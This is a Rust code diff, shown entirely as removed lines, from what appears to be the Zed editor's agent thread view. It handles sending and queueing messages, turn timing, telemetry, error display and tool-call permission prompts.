-    pub subagent_scroll_handles: RefCell<HashMap<agent_client_protocol::SessionId, ScrollHandle>>,
-    pub edits_expanded: bool,
-    pub plan_expanded: bool,
-    pub queue_expanded: bool,
-    pub editor_expanded: bool,
-    pub should_be_following: bool,
-    pub editing_message: Option<usize>,
-    pub local_queued_messages: Vec<QueuedMessage>,
-    pub queued_message_editors: Vec<Entity<MessageEditor>>,
-    pub queued_message_editor_subscriptions: Vec<Subscription>,
-    pub last_synced_queue_length: usize,
-    pub turn_fields: TurnFields,
-    pub discarded_partial_edits: HashSet<agent_client_protocol::ToolCallId>,
-    pub is_loading_contents: bool,
-    pub new_server_version_available: Option<SharedString>,
-    pub resumed_without_history: bool,
-    /// Tracks the selected granularity index for each tool call's permission dropdown.
-    /// The index corresponds to the position in the allow_options list.
-    /// Default is the last option (index pointing to "Only this time").
-    pub selected_permission_granularity: HashMap<agent_client_protocol::ToolCallId, usize>,
-    pub resume_thread_metadata: Option<AgentSessionInfo>,
-    pub _cancel_task: Option<Task<()>>,
-    pub skip_queue_processing_count: usize,
-    pub user_interrupted_generation: bool,
-    pub can_fast_track_queue: bool,
-    pub hovered_edited_file_buttons: Option<usize>,
-    pub in_flight_prompt: Option<Vec<acp::ContentBlock>>,
-    pub _subscriptions: Vec<Subscription>,
-    pub message_editor: Entity<MessageEditor>,
-    pub add_context_menu_handle: PopoverMenuHandle<ContextMenu>,
-    pub thinking_effort_menu_handle: PopoverMenuHandle<ContextMenu>,
-    pub project: WeakEntity<Project>,
-    pub recent_history_entries: Vec<AgentSessionInfo>,
-    pub hovered_recent_history_item: Option<usize>,
-    pub show_codex_windows_warning: bool,
-    pub history: Entity<AcpThreadHistory>,
-    pub _history_subscription: Subscription,
-}
-impl Focusable for AcpThreadView {
-    fn focus_handle(&self, cx: &App) -> FocusHandle {
-        if self.parent_id.is_some() {
-            self.focus_handle.clone()
-        } else {
-            self.active_editor(cx).focus_handle(cx)
-        }
-    }
-}
-
-#[derive(Default)]
-pub struct TurnFields {
-    pub _turn_timer_task: Option<Task<()>>,
-    pub last_turn_duration: Option<Duration>,
-    pub last_turn_tokens: Option<u64>,
-    pub turn_generation: usize,
-    pub turn_started_at: Option<Instant>,
-    pub turn_tokens: Option<u64>,
-}
-
-impl AcpThreadView {
-    pub(crate) fn new(
-        parent_id: Option<acp::SessionId>,
-        thread: Entity<AcpThread>,
-        conversation: Entity<super::Conversation>,
-        login: Option<task::SpawnInTerminal>,
-        server_view: WeakEntity<AcpServerView>,
-        agent_icon: IconName,
-        agent_name: SharedString,
-        agent_display_name: SharedString,
-        workspace: WeakEntity<Workspace>,
-        entry_view_state: Entity<EntryViewState>,
-        config_options_view: Option<Entity<ConfigOptionsView>>,
-        mode_selector: Option<Entity<ModeSelector>>,
-        model_selector: Option<Entity<AcpModelSelectorPopover>>,
-        profile_selector: Option<Entity<ProfileSelector>>,
-        list_state: ListState,
-        prompt_capabilities: Rc<RefCell<PromptCapabilities>>,
-        available_commands: Rc<RefCell<Vec<agent_client_protocol::AvailableCommand>>>,
-        resumed_without_history: bool,
-        resume_thread_metadata: Option<AgentSessionInfo>,
-        project: WeakEntity<Project>,
-        thread_store: Option<Entity<ThreadStore>>,
-        history: Entity<AcpThreadHistory>,
-        prompt_store: Option<Entity<PromptStore>>,
-        initial_content: Option<AgentInitialContent>,
-        mut subscriptions: Vec<Subscription>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Self {
-        let id = thread.read(cx).session_id().clone();
-
-        let placeholder = placeholder_text(agent_display_name.as_ref(), false);
-
-        let history_subscription = cx.observe(&history, |this, history, cx| {
-            this.update_recent_history_from_cache(&history, cx);
-        });
-
-        let mut should_auto_submit = false;
-
-        let message_editor = cx.new(|cx| {
-            let mut editor = MessageEditor::new(
-                workspace.clone(),
-                project.clone(),
-                thread_store,
-                history.downgrade(),
-                prompt_store,
-                prompt_capabilities.clone(),
-                available_commands.clone(),
-                agent_name.clone(),
-                &placeholder,
-                editor::EditorMode::AutoHeight {
-                    min_lines: AgentSettings::get_global(cx).message_editor_min_lines,
-                    max_lines: Some(AgentSettings::get_global(cx).set_message_editor_max_lines()),
-                },
-                window,
-                cx,
-            );
-            if let Some(content) = initial_content {
-                match content {
-                    AgentInitialContent::ThreadSummary(entry) => {
-                        editor.insert_thread_summary(entry, window, cx);
-                    }
-                    AgentInitialContent::ContentBlock {
-                        blocks,
-                        auto_submit,
-                    } => {
-                        should_auto_submit = auto_submit;
-                        editor.set_message(blocks, window, cx);
-                    }
-                }
-            }
-            editor
-        });
-
-        let show_codex_windows_warning = cfg!(windows)
-            && project.upgrade().is_some_and(|p| p.read(cx).is_local())
-            && agent_name == "Codex";
-
-        let title_editor = {
-            let can_edit = thread.update(cx, |thread, cx| thread.can_set_title(cx));
-            let editor = cx.new(|cx| {
-                let mut editor = Editor::single_line(window, cx);
-                editor.set_text(thread.read(cx).title(), window, cx);
-                editor.set_read_only(!can_edit);
-                editor
-            });
-            subscriptions.push(cx.subscribe_in(&editor, window, Self::handle_title_editor_event));
-            editor
-        };
-
-        subscriptions.push(cx.subscribe_in(
-            &entry_view_state,
-            window,
-            Self::handle_entry_view_event,
-        ));
-
-        subscriptions.push(cx.subscribe_in(
-            &message_editor,
-            window,
-            Self::handle_message_editor_event,
-        ));
-
-        let recent_history_entries = history.read(cx).get_recent_sessions(3);
-
-        let mut this = Self {
-            id,
-            parent_id,
-            focus_handle: cx.focus_handle(),
-            thread,
-            conversation,
-            login,
-            server_view,
-            agent_icon,
-            agent_name,
-            workspace,
-            entry_view_state,
-            title_editor,
-            config_options_view,
-            mode_selector,
-            model_selector,
-            profile_selector,
-            list_state,
-            prompt_capabilities,
-            available_commands,
-            resumed_without_history,
-            resume_thread_metadata,
-            _subscriptions: subscriptions,
-            permission_dropdown_handle: PopoverMenuHandle::default(),
-            thread_retry_status: None,
-            thread_error: None,
-            thread_error_markdown: None,
-            token_limit_callout_dismissed: false,
-            last_token_limit_telemetry: None,
-            thread_feedback: Default::default(),
-            expanded_tool_calls: HashSet::default(),
-            expanded_tool_call_raw_inputs: HashSet::default(),
-            expanded_thinking_blocks: HashSet::default(),
-            subagent_scroll_handles: RefCell::new(HashMap::default()),
-            edits_expanded: false,
-            plan_expanded: false,
-            queue_expanded: true,
-            editor_expanded: false,
-            should_be_following: true,
-            editing_message: None,
-            local_queued_messages: Vec::new(),
-            queued_message_editors: Vec::new(),
-            queued_message_editor_subscriptions: Vec::new(),
-            last_synced_queue_length: 0,
-            turn_fields: TurnFields::default(),
-            discarded_partial_edits: HashSet::default(),
-            is_loading_contents: false,
-            new_server_version_available: None,
-            selected_permission_granularity: HashMap::default(),
-            _cancel_task: None,
-            skip_queue_processing_count: 0,
-            user_interrupted_generation: false,
-            can_fast_track_queue: false,
-            hovered_edited_file_buttons: None,
-            in_flight_prompt: None,
-            message_editor,
-            add_context_menu_handle: PopoverMenuHandle::default(),
-            thinking_effort_menu_handle: PopoverMenuHandle::default(),
-            project,
-            recent_history_entries,
-            hovered_recent_history_item: None,
-            history,
-            _history_subscription: history_subscription,
-            show_codex_windows_warning,
-        };
-        if should_auto_submit {
-            this.send(window, cx);
-        }
-        this
-    }
-
-    pub fn handle_message_editor_event(
-        &mut self,
-        _editor: &Entity<MessageEditor>,
-        event: &MessageEditorEvent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        match event {
-            MessageEditorEvent::Send => self.send(window, cx),
-            MessageEditorEvent::SendImmediately => self.interrupt_and_send(window, cx),
-            MessageEditorEvent::Cancel => self.cancel_generation(cx),
-            MessageEditorEvent::Focus => {
-                self.cancel_editing(&Default::default(), window, cx);
-            }
-            MessageEditorEvent::LostFocus => {}
-        }
-    }
-
-    pub(crate) fn as_native_connection(
-        &self,
-        cx: &App,
-    ) -> Option<Rc<agent::NativeAgentConnection>> {
-        let acp_thread = self.thread.read(cx);
-        acp_thread.connection().clone().downcast()
-    }
-
-    pub(crate) fn as_native_thread(&self, cx: &App) -> Option<Entity<agent::Thread>> {
-        let acp_thread = self.thread.read(cx);
-        self.as_native_connection(cx)?
-            .thread(acp_thread.session_id(), cx)
-    }
-
-    pub fn current_model_id(&self, cx: &App) -> Option<String> {
-        if let Some(selector) = self.model_selector.as_ref() {
-            return selector.read(cx).active_model(cx).map(|m| m.id.to_string());
-        }
-        if let Some(config_view) = self.config_options_view.as_ref() {
-            return config_view.read(cx).current_model_value();
-        }
-        // Fallback for headless/external threads that have neither selector nor config options:
-        // read from the global language model registry.
-        LanguageModelRegistry::read_global(cx)
-            .default_model()
-            .map(|m| m.model.id().0.to_string())
-    }
-
-    pub fn current_mode_id(&self, cx: &App) -> Option<Arc<str>> {
-        if let Some(thread) = self.as_native_thread(cx) {
-            Some(thread.read(cx).profile().0.clone())
-        } else {
-            let mode_selector = self.mode_selector.as_ref()?;
-            Some(mode_selector.read(cx).mode().0)
-        }
-    }
-
-    fn is_subagent(&self) -> bool {
-        self.parent_id.is_some()
-    }
-
-    /// Returns the currently active editor, either for a message that is being
-    /// edited or the editor for a new message.
-    pub(crate) fn active_editor(&self, cx: &App) -> Entity<MessageEditor> {
-        if let Some(index) = self.editing_message
-            && let Some(editor) = self
-                .entry_view_state
-                .read(cx)
-                .entry(index)
-                .and_then(|entry| entry.message_editor())
-                .cloned()
-        {
-            editor
-        } else {
-            self.message_editor.clone()
-        }
-    }
-
-    pub fn has_queued_messages(&self) -> bool {
-        !self.local_queued_messages.is_empty()
-    }
-
-    pub fn is_imported_thread(&self, cx: &App) -> bool {
-        let Some(thread) = self.as_native_thread(cx) else {
-            return false;
-        };
-        thread.read(cx).is_imported()
-    }
-
-    // events
-
-    pub fn handle_entry_view_event(
-        &mut self,
-        _: &Entity<EntryViewState>,
-        event: &EntryViewEvent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        match &event.view_event {
-            ViewEvent::NewDiff(tool_call_id) => {
-                if AgentSettings::get_global(cx).expand_edit_card {
-                    self.expanded_tool_calls.insert(tool_call_id.clone());
-                }
-            }
-            ViewEvent::NewTerminal(tool_call_id) => {
-                if AgentSettings::get_global(cx).expand_terminal_card {
-                    self.expanded_tool_calls.insert(tool_call_id.clone());
-                }
-            }
-            ViewEvent::TerminalMovedToBackground(tool_call_id) => {
-                self.expanded_tool_calls.remove(tool_call_id);
-            }
-            ViewEvent::MessageEditorEvent(_editor, MessageEditorEvent::Focus) => {
-                if let Some(AgentThreadEntry::UserMessage(user_message)) =
-                    self.thread.read(cx).entries().get(event.entry_index)
-                    && user_message.id.is_some()
-                {
-                    self.editing_message = Some(event.entry_index);
-                    cx.notify();
-                }
-            }
-            ViewEvent::MessageEditorEvent(editor, MessageEditorEvent::LostFocus) => {
-                if let Some(AgentThreadEntry::UserMessage(user_message)) =
-                    self.thread.read(cx).entries().get(event.entry_index)
-                    && user_message.id.is_some()
-                {
-                    if editor.read(cx).text(cx).as_str() == user_message.content.to_markdown(cx) {
-                        self.editing_message = None;
-                        cx.notify();
-                    }
-                }
-            }
-            ViewEvent::MessageEditorEvent(_editor, MessageEditorEvent::SendImmediately) => {}
-            ViewEvent::MessageEditorEvent(editor, MessageEditorEvent::Send) => {
-                self.regenerate(event.entry_index, editor.clone(), window, cx);
-            }
-            ViewEvent::MessageEditorEvent(_editor, MessageEditorEvent::Cancel) => {
-                self.cancel_editing(&Default::default(), window, cx);
-            }
-        }
-    }
-
-    // turns
-
-    pub fn start_turn(&mut self, cx: &mut Context<Self>) -> usize {
-        self.turn_fields.turn_generation += 1;
-        let generation = self.turn_fields.turn_generation;
-        self.turn_fields.turn_started_at = Some(Instant::now());
-        self.turn_fields.last_turn_duration = None;
-        self.turn_fields.last_turn_tokens = None;
-        self.turn_fields.turn_tokens = Some(0);
-        self.turn_fields._turn_timer_task = Some(cx.spawn(async move |this, cx| {
-            loop {
-                cx.background_executor().timer(Duration::from_secs(1)).await;
-                if this.update(cx, |_, cx| cx.notify()).is_err() {
-                    break;
-                }
-            }
-        }));
-        generation
-    }
-
-    pub fn stop_turn(&mut self, generation: usize) {
-        if self.turn_fields.turn_generation != generation {
-            return;
-        }
-        self.turn_fields.last_turn_duration = self
-            .turn_fields
-            .turn_started_at
-            .take()
-            .map(|started| started.elapsed());
-        self.turn_fields.last_turn_tokens = self.turn_fields.turn_tokens.take();
-        self.turn_fields._turn_timer_task = None;
-    }
-
-    pub fn update_turn_tokens(&mut self, cx: &App) {
-        if let Some(usage) = self.thread.read(cx).token_usage() {
-            if let Some(tokens) = &mut self.turn_fields.turn_tokens {
-                *tokens += usage.output_tokens;
-            }
-        }
-    }
-
-    // sending
-
-    pub fn send(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let thread = &self.thread;
-
-        if self.is_loading_contents {
-            return;
-        }
-
-        let message_editor = self.message_editor.clone();
-        let is_editor_empty = message_editor.read(cx).is_empty(cx);
-        let is_generating = thread.read(cx).status() != ThreadStatus::Idle;
-
-        let has_queued = self.has_queued_messages();
-        if is_editor_empty && self.can_fast_track_queue && has_queued {
-            self.can_fast_track_queue = false;
-            self.send_queued_message_at_index(0, true, window, cx);
-            return;
-        }
-
-        if is_editor_empty {
-            return;
-        }
-
-        if is_generating {
-            self.queue_message(message_editor, window, cx);
-            return;
-        }
-
-        let text = message_editor.read(cx).text(cx);
-        let text = text.trim();
-        if text == "/login" || text == "/logout" {
-            let connection = thread.read(cx).connection().clone();
-            let can_login = !connection.auth_methods().is_empty() || self.login.is_some();
-            // Does the agent have a specific logout command? Prefer that in case they need to reset internal state.
-            let logout_supported = text == "/logout"
-                && self
-                    .available_commands
-                    .borrow()
-                    .iter()
-                    .any(|command| command.name == "logout");
-            if can_login && !logout_supported {
-                message_editor.update(cx, |editor, cx| editor.clear(window, cx));
-
-                let connection = self.thread.read(cx).connection().clone();
-                window.defer(cx, {
-                    let agent_name = self.agent_name.clone();
-                    let server_view = self.server_view.clone();
-                    move |window, cx| {
-                        AcpServerView::handle_auth_required(
-                            server_view.clone(),
-                            AuthRequired::new(),
-                            agent_name,
-                            connection,
-                            window,
-                            cx,
-                        );
-                    }
-                });
-                cx.notify();
-                return;
-            }
-        }
-
-        self.send_impl(message_editor, window, cx)
-    }
-
-    pub fn send_impl(
-        &mut self,
-        message_editor: Entity<MessageEditor>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let full_mention_content = self.as_native_thread(cx).is_some_and(|thread| {
-            // Include full contents when using minimal profile
-            let thread = thread.read(cx);
-            AgentSettings::get_global(cx)
-                .profiles
-                .get(thread.profile())
-                .is_some_and(|profile| profile.tools.is_empty())
-        });
-
-        let contents = message_editor.update(cx, |message_editor, cx| {
-            message_editor.contents(full_mention_content, cx)
-        });
-
-        self.thread_error.take();
-        self.thread_feedback.clear();
-        self.editing_message.take();
-
-        if self.should_be_following {
-            self.workspace
-                .update(cx, |workspace, cx| {
-                    workspace.follow(CollaboratorId::Agent, window, cx);
-                })
-                .ok();
-        }
-
-        let contents_task = cx.spawn_in(window, async move |_this, cx| {
-            let (contents, tracked_buffers) = contents.await?;
-
-            if contents.is_empty() {
-                return Ok(None);
-            }
-
-            let _ = cx.update(|window, cx| {
-                message_editor.update(cx, |message_editor, cx| {
-                    message_editor.clear(window, cx);
-                });
-            });
-
-            Ok(Some((contents, tracked_buffers)))
-        });
-
-        self.send_content(contents_task, window, cx);
-    }
-
-    pub fn send_content(
-        &mut self,
-        contents_task: Task<anyhow::Result<Option<(Vec<acp::ContentBlock>, Vec<Entity<Buffer>>)>>>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let session_id = self.thread.read(cx).session_id().clone();
-        let agent_telemetry_id = self.thread.read(cx).connection().telemetry_id();
-        let thread = self.thread.downgrade();
-
-        self.is_loading_contents = true;
-
-        let model_id = self.current_model_id(cx);
-        let mode_id = self.current_mode_id(cx);
-        let guard = cx.new(|_| ());
-        cx.observe_release(&guard, |this, _guard, cx| {
-            this.is_loading_contents = false;
-            cx.notify();
-        })
-        .detach();
-
-        let task = cx.spawn_in(window, async move |this, cx| {
-            let Some((contents, tracked_buffers)) = contents_task.await? else {
-                return Ok(());
-            };
-
-            let generation = this.update(cx, |this, cx| {
-                let generation = this.start_turn(cx);
-                this.in_flight_prompt = Some(contents.clone());
-                generation
-            })?;
-
-            this.update_in(cx, |this, _window, cx| {
-                this.set_editor_is_expanded(false, cx);
-            })?;
-            let _ = this.update(cx, |this, cx| this.scroll_to_bottom(cx));
-
-            let _stop_turn = defer({
-                let this = this.clone();
-                let mut cx = cx.clone();
-                move || {
-                    this.update(&mut cx, |this, cx| {
-                        this.stop_turn(generation);
-                        cx.notify();
-                    })
-                    .ok();
-                }
-            });
-            let turn_start_time = Instant::now();
-            let send = thread.update(cx, |thread, cx| {
-                thread.action_log().update(cx, |action_log, cx| {
-                    for buffer in tracked_buffers {
-                        action_log.buffer_read(buffer, cx)
-                    }
-                });
-                drop(guard);
-
-                telemetry::event!(
-                    "Agent Message Sent",
-                    agent = agent_telemetry_id,
-                    session = session_id,
-                    model = model_id,
-                    mode = mode_id
-                );
-
-                thread.send(contents, cx)
-            })?;
-            let res = send.await;
-            let turn_time_ms = turn_start_time.elapsed().as_millis();
-            drop(_stop_turn);
-            let status = if res.is_ok() {
-                let _ = this.update(cx, |this, _| this.in_flight_prompt.take());
-                "success"
-            } else {
-                "failure"
-            };
-            telemetry::event!(
-                "Agent Turn Completed",
-                agent = agent_telemetry_id,
-                session = session_id,
-                model = model_id,
-                mode = mode_id,
-                status,
-                turn_time_ms,
-            );
-            res.map(|_| ())
-        });
-
-        cx.spawn(async move |this, cx| {
-            if let Err(err) = task.await {
-                this.update(cx, |this, cx| {
-                    this.handle_any_thread_error(err, cx);
-                })
-                .ok();
-            } else {
-                this.update(cx, |this, cx| {
-                    let should_be_following = this
-                        .workspace
-                        .update(cx, |workspace, _| {
-                            workspace.is_being_followed(CollaboratorId::Agent)
-                        })
-                        .unwrap_or_default();
-                    this.should_be_following = should_be_following;
-                })
-                .ok();
-            }
-        })
-        .detach();
-    }
-
-    pub fn interrupt_and_send(&mut self, window: &mut Window, cx: &mut Context<Self>) {
-        let thread = &self.thread;
-
-        if self.is_loading_contents {
-            return;
-        }
-
-        let message_editor = self.message_editor.clone();
-        if thread.read(cx).status() == ThreadStatus::Idle {
-            self.send_impl(message_editor, window, cx);
-            return;
-        }
-
-        self.stop_current_and_send_new_message(message_editor, window, cx);
-    }
-
-    fn stop_current_and_send_new_message(
-        &mut self,
-        message_editor: Entity<MessageEditor>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let thread = self.thread.clone();
-        self.skip_queue_processing_count = 0;
-        self.user_interrupted_generation = true;
-
-        let cancelled = thread.update(cx, |thread, cx| thread.cancel(cx));
-
-        cx.spawn_in(window, async move |this, cx| {
-            cancelled.await;
-
-            this.update_in(cx, |this, window, cx| {
-                this.send_impl(message_editor, window, cx);
-            })
-            .ok();
-        })
-        .detach();
-    }
-
-    pub(crate) fn handle_any_thread_error(&mut self, error: anyhow::Error, cx: &mut Context<Self>) {
-        let error = ThreadError::from_err(error, &self.agent_name);
-        self.handle_thread_error(error, cx);
-    }
-
-    pub(crate) fn handle_thread_error(&mut self, error: ThreadError, cx: &mut Context<Self>) {
-        self.emit_thread_error_telemetry(&error, cx);
-        self.thread_error = Some(error);
-        cx.notify();
-    }
-
-    fn emit_thread_error_telemetry(&self, error: &ThreadError, cx: &mut Context<Self>) {
-        let (error_kind, acp_error_code, message): (&str, Option<SharedString>, SharedString) =
-            match error {
-                ThreadError::PaymentRequired => (
-                    "payment_required",
-                    None,
-                    "You reached your free usage limit. Upgrade to Zed Pro for more prompts."
-                        .into(),
-                ),
-                ThreadError::Refusal => {
-                    let model_or_agent_name = self.current_model_name(cx);
-                    let message = format!(
-                        "{} refused to respond to this prompt. This can happen when a model believes the prompt violates its content policy or safety guidelines, so rephrasing it can sometimes address the issue.",
-                        model_or_agent_name
-                    );
-                    ("refusal", None, message.into())
-                }
-                ThreadError::AuthenticationRequired(message) => {
-                    ("authentication_required", None, message.clone())
-                }
-                ThreadError::Other {
-                    acp_error_code,
-                    message,
-                } => ("other", acp_error_code.clone(), message.clone()),
-            };
-
-        let agent_telemetry_id = self.thread.read(cx).connection().telemetry_id();
-        let session_id = self.thread.read(cx).session_id().clone();
-
-        telemetry::event!(
-            "Agent Panel Error Shown",
-            agent = agent_telemetry_id,
-            session_id = session_id,
-            kind = error_kind,
-            acp_error_code = acp_error_code,
-            message = message,
-        );
-    }
-
-    // generation
-
-    pub fn cancel_generation(&mut self, cx: &mut Context<Self>) {
-        self.thread_retry_status.take();
-        self.thread_error.take();
-        self.user_interrupted_generation = true;
-        self._cancel_task = Some(self.thread.update(cx, |thread, cx| thread.cancel(cx)));
-    }
-
-    pub fn retry_generation(&mut self, cx: &mut Context<Self>) {
-        self.thread_error.take();
-
-        let thread = &self.thread;
-        if !thread.read(cx).can_retry(cx) {
-            return;
-        }
-
-        let task = thread.update(cx, |thread, cx| thread.retry(cx));
-        cx.spawn(async move |this, cx| {
-            let result = task.await;
-
-            this.update(cx, |this, cx| {
-                if let Err(err) = result {
-                    this.handle_any_thread_error(err, cx);
-                }
-            })
-        })
-        .detach();
-    }
-
-    pub fn regenerate(
-        &mut self,
-        entry_ix: usize,
-        message_editor: Entity<MessageEditor>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        if self.is_loading_contents {
-            return;
-        }
-        let thread = self.thread.clone();
-
-        let Some(user_message_id) = thread.update(cx, |thread, _| {
-            thread.entries().get(entry_ix)?.user_message()?.id.clone()
-        }) else {
-            return;
-        };
-
-        cx.spawn_in(window, async move |this, cx| {
-            // Check if there are any edits from prompts before the one being regenerated.
-            //
-            // If there are, we keep/accept them since we're not regenerating the prompt that created them.
-            //
-            // If editing the prompt that generated the edits, they are auto-rejected
-            // through the `rewind` function in the `acp_thread`.
-            let has_earlier_edits = thread.read_with(cx, |thread, _| {
-                thread
-                    .entries()
-                    .iter()
-                    .take(entry_ix)
-                    .any(|entry| entry.diffs().next().is_some())
-            });
-
-            if has_earlier_edits {
-                thread.update(cx, |thread, cx| {
-                    thread.action_log().update(cx, |action_log, cx| {
-                        action_log.keep_all_edits(None, cx);
-                    });
-                });
-            }
-
-            thread
-                .update(cx, |thread, cx| thread.rewind(user_message_id, cx))
-                .await?;
-            this.update_in(cx, |thread, window, cx| {
-                thread.send_impl(message_editor, window, cx);
-                thread.focus_handle(cx).focus(window, cx);
-            })?;
-            anyhow::Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    // message queueing
-
-    fn queue_message(
-        &mut self,
-        message_editor: Entity<MessageEditor>,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let is_idle = self.thread.read(cx).status() == acp_thread::ThreadStatus::Idle;
-
-        if is_idle {
-            self.send_impl(message_editor.clone(), window, cx);
-            return;
-        }
-
-        let full_mention_content = self.as_native_thread(cx).is_some_and(|thread| {
-            let thread = thread.read(cx);
-            AgentSettings::get_global(cx)
-                .profiles
-                .get(thread.profile())
-                .is_some_and(|profile| profile.tools.is_empty())
-        });
-
-        let contents = message_editor.update(cx, |message_editor, cx| {
-            message_editor.contents(full_mention_content, cx)
-        });
-
-        cx.spawn_in(window, async move |this, cx| {
-            let (content, tracked_buffers) = contents.await?;
-
-            if content.is_empty() {
-                return Ok::<(), anyhow::Error>(());
-            }
-
-            this.update_in(cx, |this, window, cx| {
-                this.add_to_queue(content, tracked_buffers, cx);
-                this.can_fast_track_queue = true;
-                message_editor.update(cx, |message_editor, cx| {
-                    message_editor.clear(window, cx);
-                });
-                cx.notify();
-            })?;
-            Ok(())
-        })
-        .detach_and_log_err(cx);
-    }
-
-    pub fn add_to_queue(
-        &mut self,
-        content: Vec<acp::ContentBlock>,
-        tracked_buffers: Vec<Entity<Buffer>>,
-        cx: &mut Context<Self>,
-    ) {
-        self.local_queued_messages.push(QueuedMessage {
-            content,
-            tracked_buffers,
-        });
-        self.sync_queue_flag_to_native_thread(cx);
-    }
-
-    pub fn remove_from_queue(
-        &mut self,
-        index: usize,
-        cx: &mut Context<Self>,
-    ) -> Option<QueuedMessage> {
-        if index < self.local_queued_messages.len() {
-            let removed = self.local_queued_messages.remove(index);
-            self.sync_queue_flag_to_native_thread(cx);
-            Some(removed)
-        } else {
-            None
-        }
-    }
-
-    pub fn sync_queue_flag_to_native_thread(&self, cx: &mut Context<Self>) {
-        if let Some(native_thread) = self.as_native_thread(cx) {
-            let has_queued = self.has_queued_messages();
-            native_thread.update(cx, |thread, _| {
-                thread.set_has_queued_message(has_queued);
-            });
-        }
-    }
-
-    pub fn send_queued_message_at_index(
-        &mut self,
-        index: usize,
-        is_send_now: bool,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let Some(queued) = self.remove_from_queue(index, cx) else {
-            return;
-        };
-        let content = queued.content;
-        let tracked_buffers = queued.tracked_buffers;
-
-        // Only increment skip count for "Send Now" operations (out-of-order sends)
-        // Normal auto-processing from the Stopped handler doesn't need to skip.
-        // We only skip the Stopped event from the cancelled generation, NOT the
-        // Stopped event from the newly sent message (which should trigger queue processing).
-        if is_send_now {
-            let is_generating =
-                self.thread.read(cx).status() == acp_thread::ThreadStatus::Generating;
-            self.skip_queue_processing_count += if is_generating { 1 } else { 0 };
-        }
-
-        let cancelled = self.thread.update(cx, |thread, cx| thread.cancel(cx));
-
-        let workspace = self.workspace.clone();
-
-        let should_be_following = self.should_be_following;
-        let contents_task = cx.spawn_in(window, async move |_this, cx| {
-            cancelled.await;
-            if should_be_following {
-                workspace
-                    .update_in(cx, |workspace, window, cx| {
-                        workspace.follow(CollaboratorId::Agent, window, cx);
-                    })
-                    .ok();
-            }
-
-            Ok(Some((content, tracked_buffers)))
-        });
-
-        self.send_content(contents_task, window, cx);
-    }
-
-    // editor methods
-
-    pub fn expand_message_editor(
-        &mut self,
-        _: &ExpandMessageEditor,
-        _window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.set_editor_is_expanded(!self.editor_expanded, cx);
-        cx.stop_propagation();
-        cx.notify();
-    }
-
-    pub fn set_editor_is_expanded(&mut self, is_expanded: bool, cx: &mut Context<Self>) {
-        self.editor_expanded = is_expanded;
-        self.message_editor.update(cx, |editor, cx| {
-            if is_expanded {
-                editor.set_mode(
-                    EditorMode::Full {
-                        scale_ui_elements_with_buffer_font_size: false,
-                        show_active_line_background: false,
-                        sizing_behavior: SizingBehavior::ExcludeOverscrollMargin,
-                    },
-                    cx,
-                )
-            } else {
-                let agent_settings = AgentSettings::get_global(cx);
-                editor.set_mode(
-                    EditorMode::AutoHeight {
-                        min_lines: agent_settings.message_editor_min_lines,
-                        max_lines: Some(agent_settings.set_message_editor_max_lines()),
-                    },
-                    cx,
-                )
-            }
-        });
-        cx.notify();
-    }
-
-    pub fn handle_title_editor_event(
-        &mut self,
-        title_editor: &Entity<Editor>,
-        event: &EditorEvent,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        let thread = &self.thread;
-
-        match event {
-            EditorEvent::BufferEdited => {
-                let new_title = title_editor.read(cx).text(cx);
-                thread.update(cx, |thread, cx| {
-                    thread
-                        .set_title(new_title.into(), cx)
-                        .detach_and_log_err(cx);
-                })
-            }
-            EditorEvent::Blurred => {
-                if title_editor.read(cx).text(cx).is_empty() {
-                    title_editor.update(cx, |editor, cx| {
-                        editor.set_text("New Thread", window, cx);
-                    });
-                }
-            }
-            _ => {}
-        }
-    }
-
-    pub fn cancel_editing(&mut self, _: &ClickEvent, window: &mut Window, cx: &mut Context<Self>) {
-        if let Some(index) = self.editing_message.take()
-            && let Some(editor) = &self
-                .entry_view_state
-                .read(cx)
-                .entry(index)
-                .and_then(|e| e.message_editor())
-                .cloned()
-        {
-            editor.update(cx, |editor, cx| {
-                if let Some(user_message) = self
-                    .thread
-                    .read(cx)
-                    .entries()
-                    .get(index)
-                    .and_then(|e| e.user_message())
-                {
-                    editor.set_message(user_message.chunks.clone(), window, cx);
-                }
-            })
-        };
-        cx.notify();
-    }
-
-    // tool permissions
-
-    pub fn authorize_tool_call(
-        &mut self,
-        session_id: acp::SessionId,
-        tool_call_id: acp::ToolCallId,
-        option_id: acp::PermissionOptionId,
-        option_kind: acp::PermissionOptionKind,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) {
-        self.conversation.update(cx, |conversation, cx| {
-            conversation.authorize_tool_call(session_id, tool_call_id, option_id, option_kind, cx);
-        });
-        if self.should_be_following {
-            self.workspace
-                .update(cx, |workspace, cx| {
-                    workspace.follow(CollaboratorId::Agent, window, cx);
-                })
-                .ok();
-        }
-        cx.notify();
-    }
-
-    pub fn allow_always(&mut self, _: &AllowAlways, window: &mut Window, cx: &mut Context<Self>) {
-        self.authorize_pending_tool_call(acp::PermissionOptionKind::AllowAlways, window, cx);
-    }
-
-    pub fn allow_once(&mut self, _: &AllowOnce, window: &mut Window, cx: &mut Context<Self>) {
-        self.authorize_pending_with_granularity(true, window, cx);
-    }
-
-    pub fn reject_once(&mut self, _: &RejectOnce, window: &mut Window, cx: &mut Context<Self>) {
-        self.authorize_pending_with_granularity(false, window, cx);
-    }
-
-    pub fn authorize_pending_tool_call(
-        &mut self,
-        kind: acp::PermissionOptionKind,
-        window: &mut Window,
-        cx: &mut Context<Self>,
-    ) -> Option<()> {
-        self.conversation.update(cx, |conversation, cx| {
-            conversation.authorize_pending_tool_call(&self.id, kind, cx)
-        })?;
-        if self.should_be_following {
-            self.workspace
-                .update(cx, |workspace, cx| {
-                    workspace.follow(CollaboratorId::Agent, window, cx);
-                })
-                .ok();
-        }
-        cx.notify();
-        Some(())
-    }
-
